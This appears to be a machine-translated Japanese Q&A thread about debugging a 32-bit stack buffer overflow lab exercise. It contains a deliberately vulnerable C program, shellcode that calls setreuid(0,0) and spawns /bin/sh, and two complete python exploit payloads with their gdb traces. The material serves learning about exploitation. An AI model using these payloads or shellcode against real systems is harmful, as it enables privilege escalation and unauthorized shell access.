web-dev-qa-db-ja.com

シェルコードが実行されず、EIPが上書きされる

バッファオーバーフローエクスプロイトで使用する脆弱なプログラム(下記)とシェルコード(以下も同様)を作成しました。私はこれと同じ問題 link を抱えていて、そこにある回答(-z execstack、-fno-stack-protector)を使用して解決しました。コメントでほのめかされている問題があります。

リターンアドレスを上書きして、NOPスレッドの中央を指すようにします(gdbでx/500x $ esp-500を使用して見つかったリトルエンディアンの "\ x38\xcf\xff\xff"に)。次に、プログラム(一番下のコマンド)がセグメンテーション違反を発生させます。

0xffffa0e8 in ?? ()

(gdb) info register
eax            0xfffffffc   -4
ecx            0xffffd070   -12176
edx            0x0  0
ebx            0xffffd074   -12172
esp            0xffffd06c   0xffffd06c
ebp            0x2368732f   0x2368732f
esi            0x0  0
edi            0x0  0
eip            0xffffa0e8   0xffffa0e8
eflags         0x10246  [ PF ZF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99
(gdb) 

戻りアドレスの右端のバイトは、本来あるべきものではありません(eipは0xffffcf38を読み取る必要があります)。返信アドレスを意味のないものに変更すると、たとえば、「0xffffdddd」と表示されます。

Program received signal SIGSEGV, Segmentation fault.
0xffffddfd in ?? ()

ほぼ期待どおり-「d」が「f」に変更されました! 「0x42424242」の戻りアドレスは期待どおりに機能します。segfault、0x42424242は?? ()

したがって、予想される動作は/ bin/bashを開始することです。実際の動作は、セグメンテーション違反を発生させることであり、EIPを上書きしようとしているアドレス以外のアドレスを戻りアドレスとして提供します。問題は次のとおりです:なぜこれが発生し、どうすれば停止できますか?

脆弱なプログラム:

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv) {
    char buffer[500];
    strcpy(buffer, argv[1]);

    return 0;
}

コンパイル:

gcc -g -m32 -fno-stack-protector -z execstack -o ./vuln ./vuln.c

アセンブリのシェルコード(または here から):

BITS 32

; setreuid(0, 0)
xor eax, eax
mov al, 70
xor ebx, ebx
xor ecx, ecx
int 0x80

jmp short two

one:
pop ebx

;execve("/bin/sh", ["/bin/sh", NULL], NULL)
xor eax, eax
mov byte [ebx+7], al
Push eax
Push ebx
mov ecx, esp
xor edx, edx
int 0x80

two:
call one

db  "/bin/sh#"

アセンブリは次のようにコンパイルされます:

nasm -bin -o shellcode shellcode.asm

攻撃は、次のコマンドを使用してgdbで実行されます。

gdb vuln

そして

run $(python -c 'print "\x90" * 473 + "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x0e\x5b\x31\xc0\x88\x43\x07\x50\x53\x89\xe1\x31\xd2\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23" + "\x38\xcf\xff\xff"')

システムは、VirtualBoxで実行されるLinux Mint 17.1 64ビットです。

2
Henrik Oldcorn

免責事項:私はこれに非常に慣れていないので、バッファオーバーフローの理解を深めるためにこの回答を書きました

私はあなたが3つの問題を抱えていると思います:

  • シェルコードの最後の1バイトが整列されていません
  • シェルコードが戻りポインタに近すぎます
  • コードにジャンプする前にebpに戻るのを忘れました

私の理解では、eipは指定したアドレスに移動されますが、スタックはシェルコード+ 4バイトの最後になります-retが次にポップされるためですeipに移動します。

また、私は本当に同じことで苦労していたので、あなたの問題は私に何かを悟らせました:シェルコードを実行している間、スタックはまだ動きます。 espがシェルコードに近すぎる場合、Pushpopの命令が独自のシェルコードを混乱させる可能性があります。

私が提案するのはそれから:

  • バッファをNopの75%まで満たす
  • シェルコードを挿入する
  • Shellコードを最も近いbyteに埋め込みます
  • 残りのNopを挿入します
  • リターンポインタを2回挿入します。1つはleave用、もう1つはret用です。

私はこれを別のシェルコードで試しました:

$> env -i vuln $(python -c 'print "\x90" * 352 + "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*101 + "\x48\xfc\xff\xbf"+"\xf0\xfa\xff\xbf"')
$ id
uid=1001(user) gid=1001(user) groups=1001(user)

GDBの使用:

ebp            0xbffffc48       0xbffffc48
esp            0xbffffa30       0xbffffa30

ESP:
0xbffffa30:     0xbffffa4c      0xbffffdda      0xb7fff524      0x00000000
0xbffffa40:     0xb7fff524      0xbffffad0      0xb7fe35c9      0x90909090
0xbffffa50:     0x90909090      0x90909090      0x90909090      0x90909090

EIP:
0x80483ed <main+41>:    leave
0x80483ee <main+42>:    ret
0x80483ef:      nop

次にnext instruction

ebp            0xbffffaf0       0xbffffaf0
esp            0xbffffc4c       0xbffffc4c

ESP:
0xbffffc4c:     0xbffffaf0      0x00000000      0xbffffcf4      0xbffffd00

EIP:
0x80483ee <main+42>:    ret

$espのアドレスにジャンプします。

ebp            0xbffffaf0       0xbffffaf0
esp            0xbffffc50       0xbffffc50

ESP:
0xbffffc50:     0x00000000      0xbffffcf4      0xbffffd00      0xb7fe1848
0xbffffc60:     0xbffffcb0      0xffffffff      0xb7ffeff4      0x08048234

EIP:
0xbffffaf0:     nop

そしてスライドを始めましょう:

(gdb) c
Continuing.
Executing new program: /bin/dash
$
2
tehmoon

発生している問題は、エクスプロイトコードの悪い文字が原因である可能性もあります。たとえば、null\x00、ラインフィード\ x0A、キャリッジリターン\ x0D、およびフォームフィード\ xFFは、エクスプロイトを失敗させる可能性があります。これが原因である場合、スタックを監視するときにデバッガーで簡単に見つけることができます。

1
J9Fackque